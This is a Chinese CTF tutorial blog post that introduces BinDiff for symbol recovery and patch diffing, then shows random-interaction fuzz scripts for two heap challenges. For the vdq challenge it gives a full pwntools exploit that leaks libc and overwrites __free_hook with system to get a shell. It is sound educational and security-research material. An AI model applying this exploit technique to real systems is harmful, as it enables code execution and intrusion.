【表哥有话说 第79期】Bindiff入门和对堆简单fuzz

admin 2022年8月14日14:30:49评论756 views字数 15455阅读51分31秒阅读模式

阔别了这么长时间

不知道大家有没有想表哥们呢

【表哥有话说 第79期】Bindiff入门和对堆简单fuzz

废话不多说,赶紧看看

表哥这周带来的新知识吧!!

Bindiff入门和对堆简单fuzz

【表哥有话说 第79期】Bindiff入门和对堆简单fuzz

   LIST   

【表哥有话说 第79期】Bindiff入门和对堆简单fuzz【表哥有话说 第79期】Bindiff入门和对堆简单fuzz
  • Bingiff入门【表哥有话说 第79期】Bindiff入门和对堆简单fuzz

  • 使用教程

  • IDA插件的使用

  • 实战案例

  • 不足

  • simple fuzz【表哥有话说 第79期】Bindiff入门和对堆简单fuzz

  • fuzz的简单概念

  • example

  • 不足

  • 总结

 Bindiff入门 

  //  

BinDiff is a comparison tool for binary files, that assists vulnerability researchers and engineers to quickly find differences and similarities in disassembled code.

Bindiff是一个用于比对二进制文件的强大工具, 通常用于逆向工程或者漏洞研究


在CTF中的应用情景主要有两个


1. 通过比对有符号的文件为静态编译去符号的可执行文件恢复一些符号

2. 比对patch前后的文件分析漏洞


本文着重介绍一些Bindiff的使用, 相关的软件及IDA插件的安装略去, 如有疑惑, 可以参考搜索引擎或这篇[文章](https://www.cnblogs.com/lsdb/p/10543411.html)

使用教程

首先需要新建一个workspace, 随意选择一处即可

【表哥有话说 第79期】Bindiff入门和对堆简单fuzz


选择Diffs -> New Diff

【表哥有话说 第79期】Bindiff入门和对堆简单fuzz


选择两个要对比的文件的ida database文件 (即 .i64)

【表哥有话说 第79期】Bindiff入门和对堆简单fuzz


静待bindiff分析完成

【表哥有话说 第79期】Bindiff入门和对堆简单fuzz


点击Diff中的Call Graph, 可以查看两个文件中的某个函数的调用图的异同

【表哥有话说 第79期】Bindiff入门和对堆简单fuzz


其中红色的节点代表bindiff在与secondary的比对中没有找到可与之对应的节点


而黄色则代表出现了相似的节点 (这个相似的判定还是比较不靠谱的, 还是比较需要人眼来分析一下)


接着我们看Matched Function


这里记录了bindiff分析结果中两个文件中配对上的函数

【表哥有话说 第79期】Bindiff入门和对堆简单fuzz


界面主要分成了四大块


最上方显示了某个函数的比对情况, 如基本块的重合情况, 跳转的重合数据, 指令的匹配数据

  //  

基本块是一个编译原理术语, 意为一段不含跳转的指令序列

中间这块为匹配函数列表, Similarity和Confidence分别指示这对相匹配函数的相似度和可信度


下面的两块区域分别为调用该函数的函数, 和该函数调用的函数的匹配数据


点进去即可查看函数指令, 流程图的匹配情况

【表哥有话说 第79期】Bindiff入门和对堆简单fuzz


颜色的含义跟刚才Call Graph中的基本一致


如下图两个基本块为黄色, 代表他们相对应, 但不完全一致


绿色的基本块则显然代表着两个相匹配的基本块内容一模一样

【表哥有话说 第79期】Bindiff入门和对堆简单fuzz


primary中红色的指令代表在secondary中的对应基本块中没有出现, 而右边蓝色的指令代表secondary对应新增的指令


那么bindiff的基本使用和概念就算完了


然后你就可以去肉眼分析一下各厂商发布的补丁, 来寻找一下他们修补漏洞的痕迹


这也是分析1day漏洞时经常会用到的手法, 下载厂商的补丁, patch到程序上, 再使用bindiff来寻找被修改过的地方


但是这听起来似乎太过遥远


我们不如来看一下更实用的


将bindiff与IDA结合起来

IDA插件的使用

bindiff给IDA提供了插件, 在安装bindiff时一般已经自动安装上了

【表哥有话说 第79期】Bindiff入门和对堆简单fuzz


使用ctrl+6快捷键可以打开bindiff插件窗口

【表哥有话说 第79期】Bindiff入门和对堆简单fuzz


其中Diff Database选项可以让我们与另一个IDA分析得到的数据库进行比对


在比对完成后会弹出这么一些框

【表哥有话说 第79期】Bindiff入门和对堆简单fuzz


跟我们刚才在bindiff中看到的非常眼熟

再按ctrl-6

【表哥有话说 第79期】Bindiff入门和对堆简单fuzz


此时多出来一个选项, 可以将比对成功的符号导入到我们分析的这个文件的IDA数据库中

【表哥有话说 第79期】Bindiff入门和对堆简单fuzz


选择我们的应用范围, 以及要求的最小可信度和相似度


我一般选取两者均为0.7


然后OK, 等待插件导入过程即可

实战案例

给出了一个静态编译的文件

【表哥有话说 第79期】Bindiff入门和对堆简单fuzz


看起来让人一言难尽


根据shift + f12的字符串窗口中的信息, 我们可以发现这是个c++程序

【表哥有话说 第79期】Bindiff入门和对堆简单fuzz


那么我们可以也编译一个简单的静态链接c++程序来尝试bindiff来恢复他的符号


然后重复我们刚才的步骤


ctrl+6打开插件窗口


diff Database, 再import symbol


导入后的样子

【表哥有话说 第79期】Bindiff入门和对堆简单fuzz


会发现虽然有一部分被重命名了, 但是都是些奇怪的名字


这是因为C++的名称修饰机制 ( name mangling) , 代码中的符号实际的编译时会被修饰成这样来做一些区分, 一般IDA会自动识别解析还原这些被修饰的符号


ida其实只是在显示的时候去还原, 当我们再去重命名这个符号的时候我们会发现其内容还是修饰后的名称


想手动让ida demangle name的话, 可以在Options -> Demangled Names的窗口中


勾选上"Assume GCC v3.x names"


再重新f5 分析

【表哥有话说 第79期】Bindiff入门和对堆简单fuzz


可以看到不少符号都正常了一些

不足

bindiff虽然可以恢复部分符号, 但大多数时候, 对于c++这类带有模板的语言, 他就难以应付


如c++的模板, 会在编译时期生成与类型相关的代码, 例如vector<mystruct>, 就会为mystruct这种类型生成vector的代码


那么如果我们用于比对的文件中, 没有mystruct这个结构体, 而是用一些其他的如vector<int>来替代, 那么匹配的准确性就难以保证


因为编译器的微小不同和架构的差异, 一样的代码也许编译生成的可执行文件会有一些不大不小的区别, 也会导致bindiff的效果一般


我们编译时应尽量选取差不多的编译环境和工具链 (比如不要用x86架构编译出来的文件去diff Arm架构下的文件)


simple fuzz

对于现在CTF中, 不时会出现一些代码复杂, 但是漏洞实际简单, 不过依靠人眼审计漏洞难度较大, 耗时长, 在这种时候, 我们可以考虑对题目进行一些简单的fuzz

fuzz的简单概念

  //  

In programming and softwaredevelopment, [fuzzing] or [fuzz testing] is an automated software testing technique that involves providing invalid, unexpected, or random data as inputs to a computer program.

fuzz的核心在于通过将一些随机或特殊的数据输入到程序中来测试程序的健壮性


例如这段代码

 1#include <stdio.h>
2int main(){
3    int m;
4    while(1){
5        scanf("%d",&m);
6        printf("you input %d",m);
7        if(m == 0xdeadbeefbreak;
8    }
9    return 0;
10}

当我们正常输入一个数字字符串时, 这个程序并不会有什么异常, 但是如果我们输入一个'a', 程序就会陷入死循环


那么我们可以产生一些奇怪的字符串, 输给这个程序, 就能够发现这个bug


直到这里我们就"发明"了"古典"fuzz, 产生一些随机的数据喂给程序, 观察程序的结果


但是实际上的fuzz工具往往更加复杂


如AFL fuzz


它开创了基于覆盖率反馈的fuzz模式


简要来说就是他会通过判断一个输入样本, 是否比其他样本执行了代码的更多地方, 来标记样本为一个"interesting case", 再基于这个样本


去尝试产生新的可能能覆盖到更多代码的输入样本


另外是变异功能, 现代的fuzz工具会通过各种角度来变化输入的数据, 如afl就使用了以下这些策略:

  • bitflip,按位翻转,1变为0,0变为1

  • arithmetic,整数加/减算术运算

  • interest,把一些特殊内容替换到原文件中

  • dictionary,把自动生成或用户提供的token替换/插入到原文件中

  • havoc,中文意思是“大破坏”,此阶段会对原文件进行大量变异

  • splice,中文意思是“绞接”,此阶段会将两个文件拼接起来得到一个新的文件

但是实际上, 我们的堆题是特征非常明显的, 他们的交互较为简单, 一般都是菜单样式, 源码规模相比于真实项目较小, 同时漏洞也较为浅显


如一个uaf漏洞, 那么我们其实很容易通过人工的交互, 如两次调用去清除同一个堆块的操作, 就可以让程序触发double free的检查而崩溃, 这时我们只需要审计我们做出的操作就能分析发现漏洞


我们也注意到这种时候, 我们输入的其他填充数据也就没有什么变异, 或者提高覆盖率的需求


我们要做的往往是, 写一个自动的交互和产生一些简单随机数据的脚本, 然后让他自由地与程序交互


那么这么做的收益在哪


因为有一些题目, 他们的源码量虽然较少, 但是仍然是人工审计耗时较长的, 同时某些情况下, 漏洞可能存在于一些比较意想不到的地方, 如某个实际被patch过的库函数中,


那么这时候这种随机的交互就很有优势

example

2022 虎符ctf vdq

这道题作者使用rust编写了一个逻辑较为简单的菜单堆


使用一个rust的标准库中的VecDeque双向队列, 维护了用户创建的note, 并采用先进后出的模式


漏洞存在于使用旧版本的rust编译器与库, 其中的程序的show功能, 使用了一个含有cve漏洞的函数make_contiguous


笔者在做这道题时, 费了很大力气去审计其他地方的逻辑, 但是都没能找到漏洞


实际上如果对rust较为了解的人可能会知道rust是一门较为安全的语言, 一般漏洞很难在rust中直接出现, 然后转而去搜索过往的可能漏洞


但是对于对rust了解不深的人, 就很难察觉和想象到漏洞出在了一个rust标准库里提供的函数中


而实际上这个漏洞的触发还是较为简单的, 因为这个cve最终可以导致double free, 让程序崩溃, 只要我们写一个跟程序随机交互的脚本就能很快得到一个崩溃


要注意的是在写随机交互时, 还需保证一定的合理性, 如我们不应该在没有note时去删除note, 或者没有note时去修改note, 抑或是在note列表已经满了时再添加note


我们可以通过在脚本中, 自己以较简易的方式模拟维护一个与程序中类似的队列


如这里程序使用了一个双向队列, 但是实际用途上, 其实跟栈的使用模式一样, 所以我们可以用一个python中的列表来模拟


当我们的随机操作中出现了Add a note时, 我们就用list.insert(0,elem)来模拟向队列中插入了一个元素, 因为输入的内容一般影响不大, 所以我们可以将elem设为1或其他值


那么当我们的随机操作出现Delete a note时, 我们只需要检测此时list中len(list)是否为0, 就能判断此时程序里能不能去删除


以此类推就能写出具有较为合理的随机交互脚本


有一点小麻烦的是, 程序首先要将要进行的所有操作一次性发送, 然后再在每一次操作时再去输入需要的数据


交互格式为["Add","Archive","Add","Append","View","Remove"], 再另起一行输入一个$来代表发送结束


所以我在脚本中用了一些数组, 来暂存后续要发送的内容数据


以下为exp脚本, 但是其中包含了产生随机交互的代码, 读者可以阅读理解后自己修改来重新发现漏洞

  1from pwn import *
2import random
3from enum import Enum
4import binascii
5
6context.arch ='amd64'
7context.log_level = 'debug'
8
9# gdb.attach(sh,'b *$rebase(0xDCB2)')
10class Opr(Enum):
11    Add=0
12    Remove=1
13    Append=2
14    Archive=3
15    View=4
16dict = {
17    Opr.Add:b""Add"",
18    Opr.Remove:b""Remove"",
19    Opr.Append:b""Append"",
20    Opr.Archive:b""Archive"",
21    Opr.View:b""View""
22}
23
24
25
26def ops2payload(): 
27    payload = b'['
28    payload += dict[ops[0]]
29    for i in range(1,len(ops)):
30        payload += b','
31        payload += dict[ops[i]]
32    payload += b']'
33    return payload # add,dele -> ["Add","Remove"]
34
35def add(content=None,rand=True): 
36    if content == None and rand == True:
37        content = cyclic(0x430)
38    ops.append(Opr.Add)
39    if content != None:
40        contents.append(content)
41def dele():
42    ops.append(Opr.Remove)
43
44def show():
45    ops.append(Opr.View)
46
47def archive():
48    ops.append(Opr.Archive)
49
50def append(content=None):
51    ops.append(Opr.Append)
52    if content != None:
53        contents.append(content)
54
55def sendcommand(payload=None):
56    if payload ==None :
57        payload = ops2payload()
58    # print(payload)
59    sh.sendline(payload)
60    sh.sendline(b'$')
61def sendpayload(n): 
62    for i in range(n):
63        sh.sendlineafter(" with message : n",contents.pop(0))
64    return
65
66def gen_rand_opr(n):
67    global ops,contents
68    a = []
69    candidate = [Opr.Add,Opr.Remove,Opr.Append,Opr.Archive, Opr.View]
70    for i in range(n):
71        tmp_op = 0
72        while True:
73            tmp_op = candidate[random.randint(0,4)]
74            if tmp_op == Opr.Add:
75                a.insert(0,1)
76                break
77            elif tmp_op == Opr.Append:
78                if len(a) > 0:
79                    break
80            elif tmp_op == Opr.Remove or tmp_op == Opr.Archive:
81                if len(a) > 0:
82                    a.pop(0)
83                    break
84            elif tmp_op == Opr.View:
85                break
86        ops.append(tmp_op)
87        if tmp_op == Opr.Add or tmp_op == Opr.Append:
88            contents.append(cyclic(0x180))
89
90ops = [] # 要进行的操作序列
91contents = [] # 需要输入数据的操作的数据列表, 如Add,Append这两个操作
92# ["Add","Add","Remove","Append","Archive","Add","Add","Add","View","Remove","View","Remove","Add","View","Remove","Archive"] # poc
93# gen_rand_opr()
94# print(ops)
95# while True:
96# sh = process('./vdq')
97# ops = []
98# contents = []
99# gen_rand_opr(300)
100# sendcommand()
101# sendpayload(90)
102# sh.interactive()
103# data = sh.recvuntil('Bye',timeout=3)
104# if data != b'':
105#     raise IOError
106# else:
107#     sh.interactive()
108# except Exception:
109#     sh.close()
110sh = process('./vdq')
111# gdb.attach(sh,'b * $rebase(0xDC5a)nb * $rebase(0xdc60)')
112
113add()
114add()
115dele()
116archive()
117add()
118add()
119add()
120show()
121dele()
122
123dele()
124dele()
125show()
126for i in range(3):
127    add(b'a')
128for i in range(3):
129    add(b'a')
130for i in range(4):
131    archive()
132for i in range(4):
133    add(b'a')
134show()
135for i in range(4):
136    archive()
137dele()
138append()
139archive()
140append()
141sendcommand()
142sendpayload(5)
143libc_base = u64(binascii.unhexlify(sh.recvuntil(b'7f')[-12:]).ljust(8,b'x00')) - 0x3ebca0
144success("libc_base : "+hex(libc_base))
145sendpayload(10)
146libc = ELF('./libc-2.27.so')
147libc.address = libc_base
148contents.append(p64(1)+p64(0)+p64(libc.sym['__free_hook']-0x10))
149contents.append(b'/bin/shx00'.ljust(0x10,b'x00')+p64(libc.sym['__free_hook']-0x22)+p64(libc.sym['system']))
150sendpayload(2)
151sh.interactive()


2022 ACTF treepwn

这题的代码量较大, 人工审计起来非常的耗时


程序依然是实现了一个菜单, 实现了一个树状结构, 插入的时候可以根据输入的两个short类型整数x,y为树节点的键值来比较从而插入到树中


【表哥有话说 第79期】Bindiff入门和对堆简单fuzz


【表哥有话说 第79期】Bindiff入门和对堆简单fuzz


【表哥有话说 第79期】Bindiff入门和对堆简单fuzz


【表哥有话说 第79期】Bindiff入门和对堆简单fuzz


程序伪代码量可以看到很多, 而且采用了递归的实现方式来进行各种操作

漏洞出现在了插入时, 在循环中插入新节点成功后没有继续返回, 而是继续循环

【表哥有话说 第79期】Bindiff入门和对堆简单fuzz

导致树中可能存在两个相同的堆块


在清除时产生double free


因为程序在插入时保证不会有两个相同的x,y的节点被插入


我们其实也只需要在模拟时, 维护一下此时有效的(x,y)对

  1from pwn import *
2from enum import Enum
3
4context.arch = 'amd64'
5context.log_level = 'debug'
6
7# sh = process('./treepwn')
8
9def cmd(choice):
10    sh.sendlineafter('Your choice > ',str(choice).encode())
11def add(x,y,name):
12    cmd(0)
13    sh.sendlineafter(b'new element x-coordinate value: ',str(x).encode())
14    sh.sendlineafter(b'new element y-coordinate value: ',str(y).encode())
15    sh.sendafter(b'new element name: ',name)
16    return
17def dele(x,y):
18    cmd(1)
19    sh.sendlineafter(b'want element x-coordinate value: ',str(x).encode())
20    sh.sendlineafter(b'want element y-coordinate value: ',str(y).encode())
21
22def edit(x,y,name):
23    cmd(2)
24    sh.sendlineafter(b'want element x-coordinate value: ',str(x).encode())
25    sh.sendlineafter(b'want element y-coordinate value: ',str(y).encode())
26    sh.sendafter(b'input the edited name: ',name)
27
28def show(x,y):
29    cmd(3)
30    sh.sendlineafter(b'want element x-coordinate value: ',str(x).encode())
31    sh.sendlineafter(b'want element y-coordinate value: ',str(y).encode())
32
33def query(x1,y1,x2,y2):
34    cmd(4)
35    sh.sendlineafter(b'left-down position x-coordinate value: ',str(x1).encode())
36    sh.sendlineafter(b'left-down position y-coordinate value: ',str(y1).encode())
37    sh.sendlineafter(b'right-up position x-coordinate value: ',str(x2).encode())
38    sh.sendlineafter(b'right-up position y-coordinate value: ',str(y2).encode())
39
40def clear():
41    cmd(5)
42class Operation(Enum):
43    Add="Operation.Add"
44    Dele="Operation.Dele"
45    Edit="Operation.Edit"
46    Show="Operation.Show"
47    Query="Operation.Query"
48    Clear="Operation.Clear"
49
50datas = []
51opr_keys = []
52opr = []
53def gen_rand_payload(n):
54    global datas,opr,opr_keys
55    avail_keys = []
56    candidate = [Operation.Add,Operation.Dele,Operation.Edit,Operation.Show, Operation.Query,Operation.Clear]
57    max = 10
58    for i in range(n):
59        while True:
60            tmp_op = candidate[random.randint(0,5)]
61            if tmp_op == Operation.Add:
62                tmp_x = random.randint(0,max)
63                tmp_y = random.randint(0,max)
64                while (tmp_x,tmp_y) in avail_keys:
65                        tmp_x = random.randint(0,max)
66                        tmp_y = random.randint(0,max)
67                avail_keys.append((tmp_x,tmp_y))
68                opr_keys.append((tmp_x,tmp_y))
69                datas.append(cyclic(0x20))
70                opr.append(Operation.Add)
71                break
72            elif tmp_op == Operation.Dele:
73                if len(avail_keys) > 0:
74                    if len(avail_keys) == 1:
75                        randidx = 0
76                    else:
77                        randidx = random.randint(0,len(avail_keys)-1)
78                    opr_keys.append(avail_keys[randidx])
79                    avail_keys.pop(randidx)
80                    opr.append(Operation.Dele)
81                    break
82            elif tmp_op == Operation.Edit:
83                if len(avail_keys) > 0:
84                    if len(avail_keys) == 1:
85                        randidx = 0
86                    else:
87                        randidx = random.randint(0,len(avail_keys)-1)
88                    want_key = avail_keys[randidx]
89                    opr_keys.append(want_key)
90                    datas.append(b'a'*0x20)
91                    opr.append(Operation.Edit)
92                    break
93            elif tmp_op == Operation.Query:
94                tmp_x1 = random.randint(0,max)
95                tmp_y1 = random.randint(0,max)
96                tmp_x2 = random.randint(0,max)
97                tmp_y2 = random.randint(0,max)
98                opr_keys.append((tmp_x1,tmp_y1))
99                opr_keys.append((tmp_x2,tmp_y2))
100                opr.append(Operation.Query)
101                break
102            elif tmp_op == Operation.Show:
103                if len(avail_keys) > 0:
104                    if len(avail_keys) == 1:
105                        randidx = 0
106                    else:
107                        randidx = random.randint(0,len(avail_keys)-1)
108                    opr_keys.append(avail_keys[randidx])
109                    opr.append(Operation.Show)
110                    break
111            elif tmp_op == Operation.Clear:
112                if i >= n // 2:
113                    opr.append(Operation.Clear)
114                    return
115
116def sendpayload():
117    global opr,opr_keys,datas
118    data_idx = 0
119    key_idx = 0
120    for i in range(len(opr)):
121        tmp_op = opr[i]
122        if tmp_op == Operation.Add:
123            add(opr_keys[key_idx][0],opr_keys[key_idx][1],datas[data_idx])
124            data_idx += 1
125            key_idx += 1
126        elif tmp_op == Operation.Dele:
127            dele(opr_keys[key_idx][0],opr_keys[key_idx][1])
128            key_idx += 1
129        elif tmp_op == Operation.Edit:
130            edit(opr_keys[key_idx][0],opr_keys[key_idx][1],datas[data_idx])
131            data_idx += 1
132            key_idx += 1
133        elif tmp_op == Operation.Query:
134            query(opr_keys[key_idx][0],opr_keys[key_idx][1],opr_keys[key_idx+1][0],opr_keys[key_idx+1][1])
135            key_idx += 2
136        elif tmp_op == Operation.Show:
137            show(opr_keys[key_idx][0],opr_keys[key_idx][1])
138            key_idx += 1
139        elif tmp_op == Operation.Clear:
140            clear()
141
142gen_rand_payload(400)
143
144sh = process('./treepwn')
145
146# print('[',end='')
147# for i in range(len(opr)):
148#     print(f"{opr[i].value},",end='')
149#     if i % 15 == 0:
150#         print('n',end='')
151# print(']',end='')
152
153# datas = [cyclic(0x20) for i in range(210)]
154# opr = [
155# Operation.Add,Operation.Add,Operation.Add,Operation.Add,Operation.Add,Operation.Add,
156# Operation.Dele,
157# Operation.Add,Operation.Add,Operation.Add,
158# Operation.Dele,
159# Operation.Add,
160# Operation.Dele,
161# Operation.Add,
162
163# Operation.Clear
164# ]
165
166# opr_keys = [
167# (5, 8) , (8, 10) , (2, 8) , (5, 5) , (0, 4) , (8, 2),
168# (2, 8), 
169# (0, 1), (1, 2), (3, 8),
170# (0, 1), 
171# (7, 5),
172# (5, 5),
173# (1, 7)
174# ]
175# gdb.attach(sh)
176
177sendpayload()
178
179print(opr)
180print(opr_keys)
181# print(opr_keys)
182sh.interactive()

当把产生的操作提高到200个时, 就得到了一个tcache double free的报错


我们把此时的操作打印出来, 然后进行缩减, 得到较为简短的poc


缩减poc可以采用二分法


将所有操作的一半删去, 再次输入程序中, 如果此时崩溃则代表该半对程序是否崩溃无影响


这样持续下去, 直到缩减到简单的十几个操作内就能触发程序崩溃


这时我们可以, 用poc来分析程序漏洞, 也可以直接利用这个已有double free的poc, 来进行漏洞的利用


在比赛这种时间较为紧张的情况下, 往往会优先选择后者, 将前者放在赛后总结中再详细分析

不足

刚才的treepwn的交互脚本实际上存在一些不足, 一个节点能反复被插入的条件实际会与我们输入的x,y相关, 如果x,y在其取值范围内完全随机, 那么能够触发漏洞的可能性就微乎其微, 笔者就在这处卡住了较长时间, 我们需要理解发现简单交互脚本中没有覆盖到的地方, 来去改进


同时读者应该也容易发现, 我们上面两个例子均为double free类型的漏洞, 这类漏洞, 往往与堆块内的填充内容无关, 但是如果是如堆溢出漏洞, 我们的填充内容需要是较常理更大的内容, 才能触发其漏洞, 然后如果在一般交互中, 输入一个太长的字符串, 是极其容易让程序陷入死循环的, 如在应该输入为数字的菜单选项时, 由于上一次的输入可能不存在溢出读取, 使得我们填充的字符残留到了此次输入, 导致io因为输入不匹配而关闭, 导致程序陷入循环.


并且若是对于触发要求较高的double free, 我们这样的简单随机交互也难以检测到


如dasctf 7月赛的easyheap, 只有在泄露堆地址的情况下才可能触发double free

总结

总体来说, 这种随机交互的漏洞发现方式有利有弊, 当漏洞审计陷入僵局时, 也不失为一种后备方法

参考

  • 2022 虎符ctf vdq 漏洞发现和exp https://cjovi.icu/WP/1617.htm

  • 2022 虎符ctf vdq 详细解析 https://tttang.com/archive/1585/

  • Zynamic Bindiff 官方手册 https://www.zynamics.com/bindiff/manual/index.html


不知道这期的新知识你有没有学会呢?

多动手 多发问 勤思考

【表哥有话说 第79期】Bindiff入门和对堆简单fuzz

我们下期再见啦!!【表哥有话说 第79期】Bindiff入门和对堆简单fuzz

原文始发于微信公众号(SKSEC):【表哥有话说 第79期】Bindiff入门和对堆简单fuzz

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年8月14日14:30:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【表哥有话说 第79期】Bindiff入门和对堆简单fuzzhttp://cn-sec.com/archives/1236048.html

发表评论

匿名网友 填写信息